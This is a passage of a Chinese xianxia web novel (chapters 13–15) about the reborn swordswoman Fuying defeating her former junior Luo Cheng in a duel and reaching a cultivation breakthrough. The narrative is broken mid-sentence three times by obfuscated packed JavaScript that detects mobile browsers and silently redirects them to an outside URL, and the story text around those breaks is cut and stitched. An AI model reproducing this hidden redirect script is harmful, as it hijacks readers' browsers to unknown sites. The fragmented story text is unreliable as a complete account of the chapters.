听她提起自己家人,洛呈却像是猛地从那种出神的状态中抽离出来,重新恢复了面无表情。他看了扶萤半晌,一字一句道:“宋姑娘能言善辩,想必十分长于劝人迷途知返。只是我心意已决,也并非迷途,还请你省些口舌,以免损了同门之谊。” 说是同门之谊,便是已经认定自己会入人道院,成为扶萤师弟了。 洛呈很少说这么长的话,一旦说了,就代表他有些动怒。可扶萤不惧,反而一扬眉,再次挑衅:“你说说得并不全对。我虽长于劝人迷途知返,却并不仅靠一张嘴。” “既然如此。”洛呈像是早就想好了说辞,顺着她的话便道,“不如我们来比试一场。若你能赢我,我便听你的,如何?” 他此话是暗含了威胁。毕竟玄极宗以剑闻名,剑修又是诸多修士中最霸道的一类,寻常人听他如此说,掂量掂量自身,想必也不敢再多言。 却不知此言正中扶萤下怀。 终于,除却岑纤以外,她迎来了重生以来的第二位对手。 不同的是,岑纤是新人,而眼前这位……则是故人。 “比一比又如何?”扶萤毫不退让,话音方落,便于手中现出一竿翠竹来。她握着竹,竹枝一端微微下沉,像是使剑时将剑尖垂下,以便血水倒流一般。 这一手凭空召出武器的手法,非与武器感应极深的修士不能为,但此时竟无人去追究这个细节。周遭弟子哗然散开,为二人空出一块场地来,又忍不住偷眼看云上各位真人,不知二人拌嘴至这个地步,都要动起手了,夫子们会如何处置他们呢? 大掌院捋着长须,却没有要插手的意思,其他人见状,本还有意劝阻的修士也纷纷退避,心知大掌院是要借此瞧一瞧二者实力。 洛呈看扶萤的目光近乎刀刃,那双漆黑的眼眸凝视她半晌,忽地冷然一哂。 铮然一声,寒山剑映照着霭霭烟云,出鞘! 13. 拾得 剑出鞘的一瞬,一股冰冷的杀意便如潮水朝四周荡开。此乃剑修自无数真刀实枪的对战中习来,又凝练多年化归己用的剑意,令观者胆寒。 但扶萤对之却再熟悉不过,因此丝毫未停滞,迎剑气而上,任鬓发被罡风吹得飞舞,只在贴在面上的凌乱发丝间露出双带着血丝的眼。 两人对视,没有任何一方说话,却几乎是同时动了。 竹枝与寒山剑相击,传来一阵令人牙酸的嘶哑摩擦声,竹枝很快弹开,铁剑则紧跟而上,蛇一样缠上竹枝,不让它离开太远。 洛呈很聪明,一看便知扶萤武器的缺陷在何处——竹枝太过细弱,扶萤目前还没有足以重新淬炼法器的能力,而寒山剑则锋锐无匹,又走的重力道的路子,劈斩之间有移山开海之势,只消两剑正面交锋几次,寒山剑的剑气都能将这竹枝削断。 可他却没有用法力…… 察觉到这件事的一瞬间,扶萤心中不知是何滋味。 洛呈在许多时候确实符合她从前对其的看法,依旧是君子端方,自有原则,即便如此想要胜过她入人道院,也不屑于以法力压人。 扶萤从舌根处开始漫上苦涩。有时候她宁愿对方真的是彻头彻尾的小人,而不是一个或有苦衷的君子。 却说场中二人一进一退,洛呈穷追不舍,而扶萤则步步退避,若非二者皆是眼带煞气,出手凌厉,倒有些像一对正在互相喂招的眷侣。 这却是与二者所修剑路不同有关,洛呈与扶萤皆师从玄极宗宗主,也就是洛呈之父,洛俶。洛俶于剑道造诣极深,不惑之年便入剑神境,之后更是刻苦钻研,自创了一套名为青莲剑法的剑招,又于雁荡山开创玄极宗,号称天下剑脉之宗,广收十洲剑修。 青莲剑法分两套,一曰莲生,二曰莲灭,取自莲花开谢的两种意态。 莲生,顾名思义,乃是指莲花自小小莲子从重重淤泥的阻碍中脱出,成长为水面清圆,又自花萼中一瓣一瓣绽开的过程,重的是一股不与周遭同污,一往直前的力度。 而莲灭则恰恰相反,夏末莲花花瓣谢尽,唯有枯荷听雨声。这套剑法所描绘的乃是一种玄之又玄的意境,轻若莲瓣落水,雨打枯叶的怅然,又于枯萎寂灭之中暗含了来年再抽芽长叶的无限生机,可说蕴藏了诸般意味,变幻无穷。 两套剑法相辅相成,前主外,后主内。寻常的玄极宗弟子通常是先习莲生,后习莲灭。唯有扶萤,从前因成长于乡野间,天生比旁人瘦弱许多,因此那位洛宗主将她收入玄极宗时只道她长于灵巧变通,但力道稍显不足,可颠倒下修习顺序,先习莲灭剑法锻炼身体,再习莲生剑法时,便可更加精准地把握其力度了。 而在她死之前,她已经将整套莲灭剑法融会贯通,虽未正式学习过莲生剑法,但自忖在与洛呈的多次对阵中也对之有所了解。这也是她先前敢同洛呈叫战的原因——她有着两世的记忆,这是所有人都不具备的能力,也是她的底牌。 然二人交手过数十招后,扶萤便明显察觉到不对。洛呈的剑路相比她从前认知中的要奇诡许多,几乎全然脱离了青莲剑法的招式,自成一套全新体系,也不知道是他以前有意相让,还是在这短短时间里学了旁的剑术。 扶萤看不出对方破绽,忍不住暗暗心惊,虽还能勉强支撑,但已经数次险象环生。她心知以洛呈的聪明,不出百招,待他摸清了自己的底细,便会使出全力攻她弱处,到那时她便岌岌可危了。 而越是此时,就越是要冷静。 扶萤很快镇定下来,思忖有什么法子能破此困局。 要从一套全然未知的剑法中找出破绽不易,若是她从前,大可凭借与对方相当的根基硬碰硬下去,直到对面行差踏错,被她抓住把柄。 可这法子此时却行不通了。她毕竟与洛呈差了境界,他已有金丹之能,自己还是筑基,即便青年此时已经强行压制住了自身境界,但一招一式中蕴含的威压是实打实的。 就像动物会对危险的敌人产生戒备一般,扶萤此时便不得不分出心神抗拒那种本能的畏惧与退意,这让她经脉已经隐隐有灼热之感,仿佛经脉正因运使着超乎平常的灵力而强行被拓宽,甚至产生刺痛。 这种感觉她并不陌生,之前在别庄强行筑基时便已经历过一次。通常经脉被强行拓宽有利于修为提升,持续的灵力冲刷之下,更是可能在短时间内打通体内灵窍,快速实现境界的突破。 扶萤近来日夜勤修下,第四层灵窍已经有所松动,她本打算择院后好好闭关几日冲击筑基第四重,却不想在此刻对战时,竟有了某种玄妙感受。 筑基之后,便是金丹,若她能达筑基大圆满之境,或可有越境与金丹修士对抗之能。 但即便有此想法,扶萤也知道,她彼时是在全无外力干扰的情况下方能短期完成突破,此时她几乎分身乏术,要靠此时机让修为再进一步,可称天方夜谭。 眼下应当怎么办?要如何才能阻止洛呈? 思绪纷乱间,扶萤忽地想到初来覆羽山时,自己曾做过的那个梦。 瀑布,寒潭,潭石上乍然开始又无声结束的比试。 那时她在与之交手后,曾有过些许体悟,但那点体悟很快就散去了,现在想要寻觅,却是杳无踪迹。 但她还记得自己当时的招数…… 扶萤心念一转,毫无征兆转了竹枝方向,从寒山剑与青年胸口的间隙中,自下而上,以一个十分刁钻的角度穿插进去。 竹枝携带风雷之势,将青年胸口处原本便有的裂口撕得更开,露出沾了血迹的白色里衣。 洛呈微不可察地蹙了下眉,下意识要竖剑抵挡,然竹枝很快回撤,方才不过虚晃一枪,她真正的目标是他腰间玉佩! 竹枝已经勾上了玉佩的系带,就要将之从青年的腰带上勾下来。 洛呈下意识以空出的手去攥玉佩,而就在这当口,他似乎想起了什么往事般,有一瞬失神。 扶萤等的便是这一瞬失神,她再次飞速改变剑路,直直点在青年虎口处。 洛呈只觉虎口袭来一阵剧烈酸麻,但这种程度还不至于令他松手。他神色微沉,手腕轻震,就要将那竹枝弹开。可下一刻,他听见对面少女轻笑了声,嗓音清泠如山泉:“你这玉佩着实好看,是独山玉吗?” 洛呈心神大震,猛地抬眼看入对面人黑白分明的眸中。 他之前未曾细看少女容貌,此时二人相距咫尺,他能瞧见那双微圆杏眼中的冷意。 这双眼睛……很像一个人。 是岫玉。 他于是动了动嘴唇,几乎想要这样回答她。 可下一刻,那双眼睛又忽地绽放出狡黠神采,好似偷腥得逞的狐狸。 一下子,那种莫名的熟悉感便被冲散了。 洛呈眨了眨眼,心知不好,但他还不及从幻梦中完全清醒,便觉手中一轻—— 场中鸦雀无声,只闻寒山剑被挑落后没入地面的一声轻响。 轻响过后,便是长久的嗡鸣。寒山剑久久震荡不休,像是不甘自己竟被一竹枝挑落,又不豫主人还不将它拾起再战,鲜红剑穗在震荡间紧紧缠绕住剑身,像是长剑生出了血脉。 然无论是对决的双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“谁说我输了。”众目睽睽下,青年忽然笑了,笑声苦涩,但鬼气森森。 “我可不止一柄剑。”他说。 扶萤愣了下。这是何意? 而待看到不知何处飘来黑色雾气,在青年掌心缓缓凝聚起另一柄剑时,她便什么都明白了。 此剑与方被她挑落的寒山剑极为相似,皆长三尺三,剑锋冷若秋水,剑穗青绿。 而在剑柄下方有两个小小的古篆字体,刻有“拾得”二字。 第一次,扶萤没能控制住自己表情,脸上现出空茫神色来。 ……这是她的本命法剑! 在她将其寒山剑挑落后,他竟又召唤出了她前世的拾得剑! 但这怎么可能呢?扶萤自问。法剑认主,她前世死后,她的剑便应当被沉入剑潭,再也不见天日才对…… 不。 她忽地想到了,寒山拾得,本为同一块铁制成的双生剑,两剑之间有着千丝万缕的玄妙感应,若洛呈能驾驭“寒山”,那么在她身死之后,强行炼化“拾得”也不无可能…… 若真如此,那么先前他剑路大变也说得通了。强行炼化本不属于自己的法剑定然耗费心神,在此过程中稍有行差踏错,走火入魔都是轻的。而他此时的修为本不足以驭使双剑,两相对冲之下,才会催生出那般奇诡的剑术。 可是,为什么? 扶萤凝视那双雾霭蒙蒙的眼,第一次发现,前世今生,她似乎从未看透过这位师弟。 14. 诡剑 为什么? 扶萤愣怔间,没发现自己不知不觉已将疑问脱口而出。 不仅她,场中其余人也皆大惊失色,便是一直神情不动的大掌院也倏然看向洛呈,枯荣真人更是面色铁青,一副即将暴怒的神情。 “那是谁的剑?”不乏有不明状况的人询问周边同伴。 “你不知道?先前玄极宗出了位离经叛道的女弟子!”有消息灵通些的好事者便为他解惑,“她先是盗走了宗门至宝‘白骨生’,又害了名巡察弟子,被当场捉拿还不知悔改,前些日子才在戮仙台上受铁箭穿心之刑而死……” 那人没说完,忽感心惊肉跳,好似被毒蛇盯上一般。抬头一看,洛呈不知何时微微侧过了头,黑沉沉的眼睛正看着自己。 他一霎那只觉额冒冷汗,口舌打结,任凭旁人再如何追问,却是半个字也说不出了。 洛呈这才又转回头,看着扶萤:“你是说这个?”他手握拾得,说得轻描淡写,“此乃我故人之剑,她走之后,我便替她保管。” 他看着扶萤,语气有种古怪的探究,又好似怀着期待似的:“……你认得此剑?” 故人?保管? 一声声惊雷在耳边炸开。扶萤不知自己面色已经刷的惨白一片,她只觉诸般情绪缠绕上心头,又想怒喝,又想苦笑。 看着她死了还不算,竟连她的本命配剑也要占为己用。此人心怎能如此……如此狠毒! 方才稍微平静些许的心绪再次激荡,经脉的刺痛更甚,若说先前是骤雨激流,那么现在便是江河倾倒,海潮奔涌! 之前的扶萤虽也愤怒,但多是因他伪君子的言行而不忿,此时此刻,见到自己曾朝夕相伴的佩剑就那般被握在可说是仇人的掌中,胸中惊痛,不亚于前世穿心之刑,令她眼前都黑了一瞬。 但黑暗过后,便是冰冷从四肢百骸弥漫开,与血脉中的热意一同冲刷着扶萤周身,令她一时五内俱焚,一时寒凉刺骨,如置冰火两重天。 “不认识。”一道缥缈好似游魂的声音回答了他方才的问题。扶萤过了片刻才反应过来,这是她自己的声音。 洛呈仍是握着剑,但他身上方才缓缓凝聚起的那种期盼飞速散去了。他剑锋低垂,神情不悲不喜,像是在输了剑之后再召出旁人的剑继续应战是再寻常不过的行为。 扶萤印象中的他向来是高傲又冷酷的贵公子,循规蹈矩,从不行差踏错半步。这样的人不应当做出不合时宜的事,可他今日从出现在此地起,便从头到脚都不合时宜。 可即便再不合时宜,他也应是从容的才对。扶萤从未见过他现在的神情,阴郁得像是只刚被捞起的落水狗,几乎有些可怜。 ……可要是洛呈也能算是可怜,那她呢? 她于是没有再多问一句。 洛呈一心要入人道院,或许是那点愧疚作祟,或许是想要求个心安,而她偏不想他入——她不想让他心安! 那么这一战,便避无可避。 “各位长老!胜负已分,不用再比下去了!”是红豆忽地冲到场中,对着一众沉默的修士大喊,她伸手指着洛呈,“是他输了!为什么还要比下去……是我家小姐赢了!” 枯荣真人不耐地瞥她一眼,手指微动,但还不等他令之闭嘴,红豆却主动收了声,又垂头慢慢退回了人群中。 大掌院闻言倒是沉声道:“此言不错。既然已有胜负,再加一轮,或有失公平。” 二人皆倏地朝他看去,可老者停了片刻,却又续道:“如此。便以此香为记,一柱香时间内,若洛公子无法挑下宋姑娘的剑,便照旧判输。” 这不也还是不公平!不少人腹诽,但不知大掌院此举有何深意,不敢妄议,便看他抬手一拂,一柱人高的香便立在了青铜鼎中,紫烟飘飘,直冲天际。 扶萤拿着湘妃泪的手几不可见地发颤,半是因力竭,半是因竹枝上翻起的小刺有许多扎进了她的皮肉中。 虽然她在之前的交手中极力避免正碰寒山剑锋芒,但剑气无形,竹枝到底被划破了许多小口,表面掀起倒刺,在她握剑时,这些倒刺便在她手心扎出一条条小口子,不算很痛,但混着手心的汗水有种别样的酸痒。 她将掌心掩在袖袍中,努力不叫旁人看出端倪,再次迎上前。 洛呈看着她,嘴唇动了动,没有出声,只是做出一个口形。 “不要再耍那些小花招了。”他无声道。 第二次交手已然悄无声息开始。 不必他说,扶萤也知晓之前的招数只能用一次。对方那因愧疚而有的片刻破绽,也只会出现一次。 二人再次是几乎同时动了。 洛呈使起拾得剑,明显就不如先前那般熟练,流畅度稍逊,这也让扶萤心中舒服些许,只道自己的剑果然还是只听从于自己,即便被强占不得不委身于人,也不会轻易罢休。 这才是她的好剑!扶萤看着不时递到自己身前的长剑,隐有欣慰。 然即便不够流畅,对付如今的她也绰绰有余。又一次,扶萤靠着远超常人的柔韧身姿险险避开剑刺,开始飞速思索对策。 论剑式灵巧,她现在气力已有不继;论剑招多变,她前世确实曾习过许多宗门以外的剑法,但若此时使出,一则容易被曾与她多次对战的洛呈看出破绽,二则,那些剑术多出自不同修真宗门或是家族,由一个今日方正式踏入修途的少女使出,未免引人猜忌。 如今要突围,或许唯有…… 示弱! 当然,并非是对洛呈本人示弱,而是对拾得剑示弱。 极少有人知道,寒山拾得取自罗汉名,并非随意取之,须知罗汉有金刚怒目态,亦有低眉慈悲态,因此这两柄剑也有类似特性,若敌手出招凌厉,步步紧逼,此剑也便遇强则强,以暴制暴。可反之,若敌手并无杀意,只为试探,剑也便如春风化雨,点到为止,可说是名副其实的“慈剑”了。 前世她也是一次偶然与人对阵的机会才得知拾得剑的特性,此时突然想起,只觉此特性或许可为她所用。 况且,这毕竟是她的剑,既然看起来对洛呈不甚服气,那她或许仍可与之有所感应。 为验证这般想法,扶萤虽仍采用退避为主的打法,但不时主动去挑弄拾得剑,试探其反应。 拾得剑发出细微嗡鸣,似有不悦,但很快像是看出对手太过弱小,也似乎仅仅只是要与洛呈作对,果然便绵软起来,扶萤见状不由一喜。 她喜了,洛呈却是逐渐焦躁。他能感觉到,自己每一次朝对面少女斩去,剑锋都像是落到了一层棉絮中,有一股绵力隐隐在朝反方向推拒他,不想让他如愿。 他心生恼意,但一想到剑主,又生不起气来了。 果然,即便他再如何努力炼化,此剑终归不能完全为他所用。 ……可一柱香的时间很短,即便无法,他也要强求。 此念一出,洛呈的剑路又全然变了。 他再次使出了那种扶萤从未见过的古怪剑法,勾抹挑刺之间,比先前还要奇诡许多,有些甚至全然不似剑招,而像是其他武器的路数,令人全然无法预知他下一步会如何出剑。 拾得剑的嗡鸣大了些许,又飞速消弭,只留下零星震荡,像是笼中困兽低低呜咽。 有一瞬间,扶萤想到了她与岑纤比试那日,那柄苏醒的“翻云蛟”。但与嗜血妖蛟不同,眼前拾得剑明显是被压制的一方,但压制住它的又不是洛呈…… 是什么? 剑招愈发零碎,百花缭乱,变幻无穷,险象环生。 又一次以湘妃泪挡住铁剑后,竹枝终于裂开了一条长缝,像是久旱大地皲裂开的纹路。 扶萤终于明白她觉得古怪在何处了。 洛呈眼眸浮现赤红,闷头出招,谁也不看。这模样,好像并不是他在使这剑法,而是这剑法在驱使他。 古怪的感觉愈演愈烈,扶萤眉心直跳,本能地觉得危险,急忙抽身想要退远一些再做打算。 偏偏这时,拾得剑再次缠了上来,毒蛇一样死缠竹枝不放,一格一抵,正落在方才的裂痕之上。 “咔擦”一声细响,早已千疮百孔的竹枝终于没能承受住这一击,蓦地折成了两半。 然竹性坚韧,即便折断,当中依旧有经络相连。只是此时少女手中拿着弯折的竹枝,就显得有些滑稽了。 旁观者不由面面相觑,一口气仍悬在胸中。这……算赢还是输? “你输了。”洛呈的声音响起。他很快地从方才那种诡异状态中抽离,只轻瞥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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面人被摆在桌案上,长手长脚,一张小脸刷白,眼睛只得两个漆黑小点,嘴唇鲜红。从她那挽起的发髻和一身素衣来看,这应当是一个女子。女子背后还背了个长条状的包袱,像是个剑客。 一侍女见男人此时似乎心情不错,笑嘻嘻发问道:“君上成天看着这面人,也不知当中有何玄机?” 男子挑眉:“你猜。” 侍女便大着胆子道:“当中可是有何机关阵术?” 男子摇头。 她又猜:“是一个法器?” 男子依旧笑而不语。 “难不成……这是君上看中的女子?”她终于说出最不愿想的猜测,“可这面人如此粗糙,分明是凡间才有的做工!” “凡人?凡人可不能喜欢的。”另一侍女插话,似乎对人族颇有研究,“人魔殊途,凡人又脆弱,又狡猾,若对他们好,他们便会得寸进尺,反咬一口。若对他们稍微坏一些——直接就嘎嘣了!” “是了。凡人性命渺若萤火,稍不注意便死透了,去得慢些,连尸骨也寻不到!”其他人也纷纷加入对话中,“君上怎会喜欢一个凡人?这不可能……” 这一次,一直默不作声的男子忽地“唔?”了一声。 正吵嚷的侍女们顿时缩起脖子,像是有些怕他:“怎么,是妾身们说错话了?” 男子不答,只抬袖一挥,众人面前便出现一方水镜,镜中是一片茫茫云海,云海中有数座山峰若隐若现,正中最为巍峨高耸的一座峰顶正凝聚着紫色云气,云层奔涌间,好似万川归流,百花俯首。 众女很快忘记方才争执,纷纷凑过来,望着镜中美景啧啧称奇:“大圆满之兆,真是好多年未曾见过了。看来这几年间,仙门还是出了些厉害人物。” “此异像发生在何处?”也有人好奇。 博学者又回她:“看此峰形貌,应是在凤麟洲,覆羽之山。” 覆羽山,覆羽山。 男子手指在桌面敲击片刻,忽地笑了笑。 正好百无聊赖,不如去瞧个热闹。 一阵清风吹过,亭中便只余下还在叽叽喳喳的侍女们。紫衣男子连同那小面人,都没了踪影。 15. 突破 璇玑阁上,云海奔涌不休,缓缓于天际形成深邃漩涡,好似巨眼冷冷俯瞰渺小世人。 在场唯有洛呈没有看天,而是猛地回头看向扶萤。 空中云气凝聚多时,终于,一场酝酿良久的雨落下了,细若牛毛。那瘦弱的白衣少女还立在先前的位置,沾了雨丝的衣衫色泽深了些许,鬓边的几缕头发也被沾湿了,贴在颊旁。 她手中弯成两段的断竹正在聚拢,不过片刻,便已经重新合为一枝,原先的些许裂纹也都消失无踪。 扶萤很难形容她现在心情,若非要说的话,竟然有些释然。她转了转竹枝,扬声道:“谁说我输了?我的剑……可还没脱手呢。” 她从折得这支斑竹为剑开始,便一直知晓其弱处,此后在对战中也时刻注意扬长避短,唯恐将其折断了,故而出剑收剑,从来小心翼翼。 然就坏事总会在出乎意料时发生,拾得剑缠上来的一瞬她便心知不好,可避无可避之下仍是被击中,而湘妃泪果然断裂开。 可当它真正断了,扶萤却觉心下一轻,反而有了了无挂碍之感。 洛呈的剑路太过古怪,她本想要躲避开再伺机弄个明白,偏偏剑却断了,就像老天都在与她作对,不愿令她探究下去。 反正剑也无法再用,她也阻止不了他的道路,不如就不要再管了。总归,这于她的利益无损。 有一瞬间,扶萤心中浮现出这样的想法。 像是一种蛊惑,她手指颤了颤,几乎就要照着那道声音的指示,松开断剑,让这场比试结束。 可有另一道声音却又对她说:为什么不抛开一切,再试一次呢? 人死,都可重生。剑断,又为何不能再铸? 你从一缕游魂走到这里,即便结果再差,也不过再次回归一缕游魂罢了。 既然如此,还有什么可退却,可回避? 此念出那一刻,仿佛拨云见月,澈净通明,她一直隐隐触碰到却无法真正推开的门就这样在她面前打开。在先时打斗中沸腾的灵力霎时平息下来,却没有静止,反而如江河入海,直直冲开第四重灵窍,又缓缓注满了第五重。 内视之下,建里、水分、神阙……穴位被一一打通,灵气莹莹生辉,最终汇聚于气海之中,凝结成翡翠一般平静的湖泊。再下一步,待气海破开,灵气便可入丹田,凝结金丹。 她本以为会十分艰难的突破,本打算之后好好闭关冲击的下一重境界,便就这般在一念之间达成了。 筑基大圆满,已成! 无数修士心中皆冒出这样一句话,但不少人尤自不可置信,如在云中。 先前不还折了竹剑,分出胜负,怎么一眨眼,这宋楹又爬起来了? 与此同时,一种深刻的疑问从人们心底腾起,此女……真的能被打败吗? 他们不知道的是,这样的疑问在之后漫长的时间里,会在无数人的心中浮现。但此时,思及此的人不过摇头,心说自己真是想多了。 扶萤手中竹枝已经崭新得像是她方折下它那日一般,但仍在继续生长着,像是成为了有生命的活物。 众人便见那竹枝抽长了些许,表面材质飞速变幻,覆盖上玉石一般的色泽,又仿佛有雾气从中滋生。 待雾气散后,扶萤手中竹枝已经全然变了。三尺青锋泛着青碧色泽,非金非玉,却又有着金玉般的质感,剑身最宽处也不过二指半,朝下一路收窄,收出少女眉峰一般的弧度,除却剑柄处还有些竹节模样,几乎瞧不出其原身为何。 天际有雪白电光落下,直直劈在少女身周,但却无法再进一步。 筑基大圆满修者,自有天道护佑,更可越境挑战金丹修士! 重铸后的湘妃泪再次被抬起,鲜红剑穗垂下,剑面如镜,映照着少女冷冽眼眸。 扶萤一伸手,以剑直指洛呈,轻轻挑了下眉。 有点嚣张。 洛呈薄唇抿成一线,戾气缓慢漫上眼眸。 他也重新抬起拾得剑,站到了扶萤对面。但许是先时一股作气已泄,也许是扶萤如今方突破,周身气机圆融。相较之下,他的气势就远不如前了。 不少人心中的秤已经悄悄偏移,紧紧盯住了扶萤。 湘妃泪发出一声清啸,急切想要一展身手。拾得剑在洛呈驱使下也嗡嗡作响,相比有些不情不愿。 一青一白两人身形再次化为虚影,纠缠在一处。 洛呈依旧使的先前剑招,但那股难以捉摸的诡谲气质消散了。或者说,变淡了许多,让扶萤难以窥见其背后虚实。 百十来招过去,虚影终于凝实。 灵气溅起的水汽飞洒,场中二人依旧相对而立,一人手中攥着青绿长剑,另一人手中则是空空如也。 拾得剑化作黑雾散去,就像它被召出来时那样。 至此,这拖延了许久的比试才终于落下帷幕。 结果依旧是……扶萤胜。 情势逆转太快,许多人此时还如在梦中。 大圆满之像,不仅需要修士修为圆融,更是对心境的要求极高。但凡突破的当时心中生出丝毫邪念或是有片刻迟疑,皆不可能至大圆满。 可修行本就是与天相争,谁敢说自己心中没有恶念,没有欲望? 这等突破天象数千个修士里也未必会出一个,在场许多弟子修行已有百十年,此前也未曾见过此象。不少人看着扶萤,那神色已经像是在看怪物了。 可要扶萤说她此时的感受,却唯有二字——空茫。 没有多少欣喜,也没有多么爽快,不过是完成了当下一个阶段性任务。 她看着洛呈,一字一顿,语声郑重:“在下久闻洛宗主之名,想必洛公子此入天道院,是他一心所愿,也能令玄极宗面上有光。”可背过身,在所有人都看不到的角度,她也学他先前一般,以口形说,“你的剑法,我改日定会再讨教。” 青年的脸色从未如此难看过,就算下一刻有只青面獠牙的恶鬼从他那俊美皮囊中钻出来,扶萤也不会觉得稀奇。 “她说的不错。”眼看洛呈还要再说,沉默已久的大掌院终于开口加入对话中,“你父亲数日前便已来信嘱托,只道你近日心情不佳,行事多有偏颇,请我等务必好生关照你。”他在“关照”二字上着重顿了顿。 “可是……”洛呈蹙眉。 “没有可是。”枯荣真人阴声打断他,“即便你能不管你父亲的期许,玄极宗那么多弟子呢?你能进天院已经是承蒙恩典,若任性下去,可知会给你的师弟师妹造成何等后果?” 洛呈终于沉默下来,像是有旁人看不见的重担落在他身上,将脊梁都压弯了。他先前那些傲气消失不见,垂在身侧的手指轻颤。 大掌院又转向扶萤:“你天资的确过人,在危急之时能借势而上反突破自身极限。从剑路来看,从前也修炼刻苦。”老者看着她,略微一颔首,“既然人道院是你的选择,旁人不能干预,你且去吧。” 扶萤闻言,朝老者感激一揖,却没有立刻走,而是又道:“弟子还有一事请求大掌院开恩。” 老者却像是早有预料,淡道:“你是为你的侍女所求吧。” “是。红豆跟随我多年,是个很聪明的孩子。”扶萤目光落在人群里的侍女身上,后者面色在方才的比试中憋了个通红,倒是很好辨认,“我想让她也与我一同修行,不必占学宫正式弟子的名额,只我平日里教给她一些防身术法,不知大掌院可否恩准。” 老者威严目光落到小侍女身上,注视她良久,直将后者看得眼神游移,方沉声道:“侍婢脱身贱籍,按例本不可修行。”红豆面色顿时煞白,可掌院顿了顿,语气又缓下来,“但我今日便为你破例一次,你可随你主人修行,只不可习山中经法典籍,也无法成为正式弟子。” 即便不能成为山中弟子,但许她修道已是恩典。红豆大悲又大喜,伏身叩谢不提。 老者扫视过台下诸修士:“大圆满之像,你们如今也见到了,可有何体悟?” 无人应声。他又道:“你们在此最长的也有六百年了,这等天像,又见过几次?” 此话一出,众修羞愧有之,不服有之,但面上都作出洗耳恭听之态。而大掌院却没有再继续说教,只低叹一声:“天地人三院以往总是明争暗斗,我虽不说,但心中皆有数。如今魔族逼近之下,我希望三院能摈除前嫌,同进同退,共匡各界和平。” 说完,那道分神便像是雾气一般消散了,明晃晃日光下,连半分影子也不存,像是从未出现过。即便接下来还有些弟子要择院,他也似乎没了继续观看的兴趣。 青铜鼎的火焰还在跳跃。扶萤缓缓收起了剑,全新淬炼过的湘妃泪华光内敛,被她收入新化出的鞘中,背在了身后。 她迈出一步,周遭人潮水般退开,为她让开一条宽敞道路。 红豆忙跟上去,缀在扶萤身后虚虚扶着她。但她的担心显然是多余的,因为扶萤一步一步,走得比任何人都要稳。 二人走出一段距离后,洛呈才幽幽发问,嗓音暗哑:“你的剑……叫什么名字?” “湘妃泪。”少女没有回头,声音清冷。 不过一枝随手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908109|176411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 折来的斑竹,从前,或许只有岑纤与寥寥几位宋氏子弟知晓湘妃泪之名。 而今日之后,所有人都将记得这柄竹剑的名字,也会记得它的主人,百年来第一位达筑基大圆满之境的修士,宋楹。 远处人道院的队列中爆发一道欢呼。粗哑声音哈哈大笑:“我们有师妹了?”温吞青年也慢慢回他:“我们有师妹了。” “什么师妹。”晏参商不知何时站到了两人中间,“你们乃几百年前的初代弟子,中间又隔了数代,早就与人家差了辈分,怎好意思自称为一个十六岁少女的师兄?” 她平平伸手,在二人肩上一拍,叫出了他们名字:“裴瑄,闾子逍。打赌好玩吗?我听你们赌了一路,究竟谁输谁赢呀?” 原来这蓝衣人名裴瑄,红衣人名闾子逍,二人皆是人道院的初代弟子。并且看周边人看他们的样子,即便是在三教九流混杂的人道院,此二人都算是两朵奇葩了。 两人缩了下脖子,不再吱声。 晏参商这才宣布:“宋楹,乃是人道院本代大师姐。至于祁红莲,而是小师弟。”她对二人耳提面命,“你们应当对其尽心帮扶爱护,但平日需以平辈相称,少给我摆师兄架子!” “是——”闾子逍拖长了声音回应,裴瑄则微微点头,晏参商这才放心离开了。 …… 各峰之间不知何时架起云阶,主仆二人并肩走在一起,朝着住处所在的峰头靠近。 “你方才站出来做什么。”只剩下两人时,扶萤才数落起红豆来,“之后再遇见这种事,不必管我,顾好你自己便是。” 红豆点头,也不知是否真将这话听进去了,随即又道:“说起来,我当时说完那番话后,便头脑发昏,待再有意识时,发觉自己已经不知何时回到了人群中,真是奇怪……” “哦?”她说者无意,扶萤却明白过来,难怪这傻丫头忽地识趣退下,看来是有好心人暗中对她施了术法,只不知是谁行好事不留名了。 两人又安静走了许久,雨渐渐小了,云层散开,日光如碎金洒下。 “小姐,你……”红豆偷觑扶萤面色,“你好像很不喜欢洛公子。” “怎会这样说?”扶萤没看她,只是望着前方云桥。 “若不是不喜欢他,为何会这样竭力阻止他和咱们同院呢?反正他来或不来,都对咱们没什么坏处。”红豆已经很自然地将自己也划分到人道院了,“况且他也算是君子了,最开始也没下重手,说不定真就是对人道院比较感兴趣……” “我没有不喜他。”扶萤打断她。 她只是……不在意了。 仿佛被那一剑斩断了过往所有情仇,她发觉自己现在先前那些被人误解与背离的怨愤逐渐离她远去,身心都迈入了另一种空茫境界。 但扶萤也有自己的私心。 这一世,她可不想要洛呈做自己师弟了。 ** 与此同时,与璇玑阁隔着辽阔云海的另一处孤峰顶。 一株枝叶繁盛的歪脖子老松探出悬崖边,其粗壮的横枝上,有一俊美的紫衣青年正背靠主干,随意坐着。 他一边腿屈起,另一只放肆地舒展开,整个人重心都压在身后的松木上,瞧着懒洋洋的。而这般随性姿态也令他上衣微微皱起,露出了被他揣在胸口衣襟处的一只形容潦草的面人。 